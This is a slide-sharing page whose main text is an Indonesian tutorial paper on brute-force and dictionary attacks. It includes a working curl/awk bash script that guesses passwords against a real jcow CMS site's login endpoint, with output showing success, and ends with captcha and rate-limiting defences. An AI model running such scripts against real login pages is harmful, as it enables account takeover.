Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullah
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
 

Bruteforce basic (paper) - linx

  • 1. Author : Linggar Primahastoko Site : http://linx.web.id Mail : x@linx.web.id Brute force, Dictionary attack, and The Implementation ======Pendahuluan======= Di dalam dunia yang mengutamakan tentang keamanan ini, hampir semua akses-akses penting memiliki 2 hal yang saling berkaitan dan tidak bisa lepas, yaitu otentikasi dan otorisasi. Tentang bagaimana masuk ke dalam sebuah sistem dan bagaimana cara dari sistem untuk mengenali pihak- pihak yang boleh masuk dan tidak boleh masuk. Kedua hal ini sekarang lebih ditekankan pada sebuah penggunaan username dan password. Pada artikel kali ini, akan dibahas tentang apa itu teknik brute force (yang berlanjut ke masalah dictionary attack) dan bagaimana implementasinya pada sebuah sistem yang vulnerable akan hal itu. Apa itu brute force? Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuah sistem dengan memasukkan semua kata kunci yang memungkinkan. Lebih tepatnya penyerang akan memasukkan satu-satu sebuah kata kunci (password) dari berbagai kemungkinan untuk mendapatkan suatu akses. Biasanya brute force dilakukan untuk memasuki sebuah sistem dan juga digunakan untuk memecahkan suatu enkripsi satu arah (one way hash). Tetapi brute force ini memiliki kelemahan, yaitu karena banyaknya kemungkinan yang digunakan, waktu pemrosesan membutuhkan waktu yang sangat lama, yang bahkan estimasi waktunya bisa berjangka tahunan. Maka dari itu kemungkinan itu diperkecil dengan adanya sebuah teknik bernama “dictionary attack”. Intinya, pembatasan yang dilakukan pada dictionary attack adalah seorang penyerang membatasi apa saja kata-kata yang akan digunakan sebagai sebuah kata kunci. ======PoC======= Kali ini,akan saya berikan sebuah contoh bagaimana melakukan brute force dengan cara yang sangat sederhana. Sistem yang akan dicoba adalah sebuah CMS bernama jcow. Saya akan mencoba melakukan brute force dengan instruksi pada unix. Pertama, kita mendaftar pada sebuah situs yang menggunakan jcow CMS (pada kasus ini saya menggunakan contoh http://salingsapa.com). Saya membuat dengan username 'linxnyoba' dan dengan password 'blognyalinx' (tanpa quote). Lalu akan kita coba untuk masuk dengan user account yang salah untuk mendapatkan parameter yang akan dijadikan sebagai sebuah kunci.
  • 2. Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah. Setelah itu kita melakukan sebuah instruksi post data dan pengolahan kata untuk mendapatkan kata kunci wrong tadi. sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=tes" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}' Wrong sicuser@gate-linx:/data/linx/post$ Sekarang kita mencoba apa yang akan terjadi ketika data yang dikirimkan bernilai true. sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}' sicuser@gate-linx:/data/linx/post$ Tidak terjadi apa-apa ketika data yang dikirimkan bernilai true. Dari hal ini kita bisa mendapatkan logika bahwa ketika instruksi di atas dikirimkan dengan data yang bernilai false, akan didapatkan kata 'Wrong', dan jika data yang dikirimkan bernilai true, tidak ada output yang muncul. Dari situ, kita bisa membuat sebuah script sederhana (dalam kasus ini saya menggunakan shell scripting) untuk mengimplementasikan sebuah dictionary attack pada sistem itu. Kita buat sebuah wordlist dengan isi kata-kata yang yang akan kita coba masukkan. Lalu script sederhana yang saya buat untuk implementasi dictionary attack sebagai berikut. #!/bin/bash for i in `cat wordlist.txt` do kunci=`curl -s -d "username=linxnyoba&password=$i" http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'` if [ "$kunci" = "Wrong" ]; then echo $i bukan password else echo $i > password && exit; fi
  • 3. done Setelah itu kita coba jalankan scriptnya sicuser@gate-linx:/data/linx/post$ cat wordlist.txt cobacobi huahaha blognyalinx testing testang sicuser@gate-linx:/data/linx/post$ sh brute.sh cobacobi bukan password huahaha bukan password sicuser@gate-linx:/data/linx/post$ ls brute.sh password wordlist.txt sicuser@gate-linx:/data/linx/post$ cat password blognyalinx Yak, kita dapatkan password dari user account yang telah kita buat tadi. Jadi untuk penjelasan bagaimana script itu berjalan adalah, pertama kita buat perulangan proses login dengan menggunakan password yang ada di dalam file wordlist.txt. Lalu kita buat sebuah penanda ketika data yang dikirimkan itu salah, yaitu kata 'Wrong'. Setelah itu, untuk outputnya, ketika password yang dimasukkan salah, akan ada output '$password bukan password', sedangkan ketika data yang dimasukkan benar, akan muncul sebuah file password dengan isi password yang benar dan program akan berhenti. ======Penutup======= Pada kasus kali ini, sistem web yang vulnerable akan sebuah dictionary attack dan brute force, kekurangan pada sistem adalah sistem captcha yang dapat memberikan perlindungan pada situs, sehingga bot tidak dapat melakukan proses perulangan pada sebuah sistem. Selain itu pembatasan dapat dilakukan dari sisi server, yaitu pada pembatasan jumlah request yang sama pada selang waktu yang dekat, sehingga proses brute force relatif dapat dihindari. Dari hal-hal di atas, dapat diambil sebuah kesimpulan, bahwa sebuah brute force dan dictionary attack dapat dilakukan dengan cara yang sangat sederhana, tidak melihat software apa yang digunakan, karena yang paling penting adalah tentang konsep dan logika yang digunakan. ======Reference======= http://en.wikipedia.org/wiki/Brute-force_attack http://en.wikipedia.org/wiki/Dictionary_attack http://curl.haxx.se/docs/manpage.html